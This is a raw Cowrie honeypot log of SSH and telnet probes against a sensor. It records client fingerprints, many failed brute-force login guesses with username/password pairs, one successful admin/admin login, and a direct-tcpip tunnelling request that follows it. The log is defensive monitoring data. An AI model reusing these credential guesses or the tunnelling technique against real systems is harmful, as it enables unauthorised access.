{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:38:51.294365Z","src_ip":"20.193.141.133","session":"64d0bfc48898","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:38:52.392828Z","src_ip":"146.70.245.157","session":"d7ace7946281","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":92.03303813934326,"message":"Connection lost after 92 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:39:12.266551Z","src_ip":"79.139.59.21","session":"fa15e37f0c22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.97.62.150","src_port":51272,"dst_ip":"159.203.135.109","dst_port":22,"session":"acaa6c2ce953","protocol":"ssh","message":"New connection: 23.97.62.150:51272 (159.203.135.109:22) [session: acaa6c2ce953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:39:12.476327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:39:12.481219Z","src_ip":"23.97.62.150","session":"acaa6c2ce953","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:39:12.721635Z","src_ip":"23.97.62.150","session":"acaa6c2ce953","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1","message":"login attempt [root/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:39:13.442597Z","src_ip":"23.97.62.150","session":"acaa6c2ce953","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:39:14.686511Z","src_ip":"23.97.62.150","session":"acaa6c2ce953","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":36990,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4a99525e3b7","protocol":"telnet","message":"New connection: 69.4.83.194:36990 (159.203.135.109:23) [session: f4a99525e3b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:39:15.940587Z"}
{"eventid":"cowrie.session.closed","duration":120.00767946243286,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:39:22.698832Z","src_ip":"79.139.59.21","session":"d4622bc5c94c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.09118056297302,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:39:51.031625Z","src_ip":"69.4.83.194","session":"f4a99525e3b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.103","src_port":51430,"dst_ip":"159.203.135.109","dst_port":22,"session":"d16a3f759a38","protocol":"ssh","message":"New connection: 171.244.37.103:51430 (159.203.135.109:22) [session: d16a3f759a38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:40:20.824114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:40:20.829697Z","src_ip":"171.244.37.103","session":"d16a3f759a38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:40:21.071325Z","src_ip":"171.244.37.103","session":"d16a3f759a38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"notes","password":"notes","message":"login attempt [notes/notes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:40:22.065595Z","src_ip":"171.244.37.103","session":"d16a3f759a38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:40:23.309873Z","src_ip":"171.244.37.103","session":"d16a3f759a38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.70.245.157","src_port":63576,"dst_ip":"159.203.135.109","dst_port":22,"session":"d410559179b1","protocol":"ssh","message":"New connection: 146.70.245.157:63576 (159.203.135.109:22) [session: d410559179b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:40:24.693543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:40:24.699212Z","src_ip":"146.70.245.157","session":"d410559179b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:40:24.839150Z","src_ip":"146.70.245.157","session":"d410559179b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123!!","message":"login attempt [root/abc123!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:40:25.379164Z","src_ip":"146.70.245.157","session":"d410559179b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:40:26.522475Z","src_ip":"146.70.245.157","session":"d410559179b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":48682,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6e87d25bca7","protocol":"ssh","message":"New connection: 20.193.141.133:48682 (159.203.135.109:22) [session: a6e87d25bca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:40:28.580842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:40:28.586184Z","src_ip":"20.193.141.133","session":"a6e87d25bca7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:40:28.780484Z","src_ip":"20.193.141.133","session":"a6e87d25bca7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"admin123","message":"login attempt [administrator/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:40:29.585354Z","src_ip":"20.193.141.133","session":"a6e87d25bca7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:40:30.782206Z","src_ip":"20.193.141.133","session":"a6e87d25bca7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":56568,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a1299f1acbc","protocol":"telnet","message":"New connection: 79.139.59.21:56568 (159.203.135.109:23) [session: 6a1299f1acbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:40:32.660467Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":42684,"dst_ip":"159.203.135.109","dst_port":23,"session":"889bf22542df","protocol":"telnet","message":"New connection: 69.4.83.194:42684 (159.203.135.109:23) [session: 889bf22542df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:40:46.188359Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":43282,"dst_ip":"10.17.0.5","dst_port":22,"session":"97378e3b55b9","protocol":"ssh","message":"New connection: 103.122.221.179:43282 (10.17.0.5:22) [session: 97378e3b55b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:40:48.851393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:40:48.855926Z","src_ip":"103.122.221.179","session":"97378e3b55b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:40:49.109590Z","src_ip":"103.122.221.179","session":"97378e3b55b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1111a","message":"login attempt [root/1111a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:40:49.863492Z","src_ip":"103.122.221.179","session":"97378e3b55b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:40:51.117358Z","src_ip":"103.122.221.179","session":"97378e3b55b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.66584873199463,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:41:00.326188Z","src_ip":"79.139.59.21","session":"6a1299f1acbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":50456,"dst_ip":"159.203.135.109","dst_port":23,"session":"16795d41a44a","protocol":"telnet","message":"New connection: 69.4.83.194:50456 (159.203.135.109:23) [session: 16795d41a44a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:41:06.818951Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":55978,"dst_ip":"10.17.0.5","dst_port":23,"session":"508595e20334","protocol":"telnet","message":"New connection: 180.235.129.180:55978 (10.17.0.5:23) [session: 508595e20334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:41:12.888038Z"}
{"eventid":"cowrie.session.closed","duration":33.90648889541626,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:41:20.094706Z","src_ip":"69.4.83.194","session":"889bf22542df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":47568,"dst_ip":"159.203.135.109","dst_port":22,"session":"8da51083327b","protocol":"ssh","message":"New connection: 103.149.170.125:47568 (159.203.135.109:22) [session: 8da51083327b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:41:40.882842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:41:40.887486Z","src_ip":"103.149.170.125","session":"8da51083327b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:41:41.156037Z","src_ip":"103.149.170.125","session":"8da51083327b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.63927960395813,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:41:41.458107Z","src_ip":"69.4.83.194","session":"16795d41a44a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vinograd","message":"login attempt [root/vinograd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:41:41.961826Z","src_ip":"103.149.170.125","session":"8da51083327b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:41:43.233183Z","src_ip":"103.149.170.125","session":"8da51083327b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":33106,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e3d5e12fe0e","protocol":"ssh","message":"New connection: 87.251.64.176:33106 (10.17.0.5:22) [session: 7e3d5e12fe0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:41:44.818664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:41:44.823788Z","src_ip":"87.251.64.176","session":"7e3d5e12fe0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:41:44.922128Z","src_ip":"87.251.64.176","session":"7e3d5e12fe0e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:41:45.209756Z","src_ip":"87.251.64.176","session":"7e3d5e12fe0e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:41:45.309075Z","session":"7e3d5e12fe0e","protocol":"ssh"}
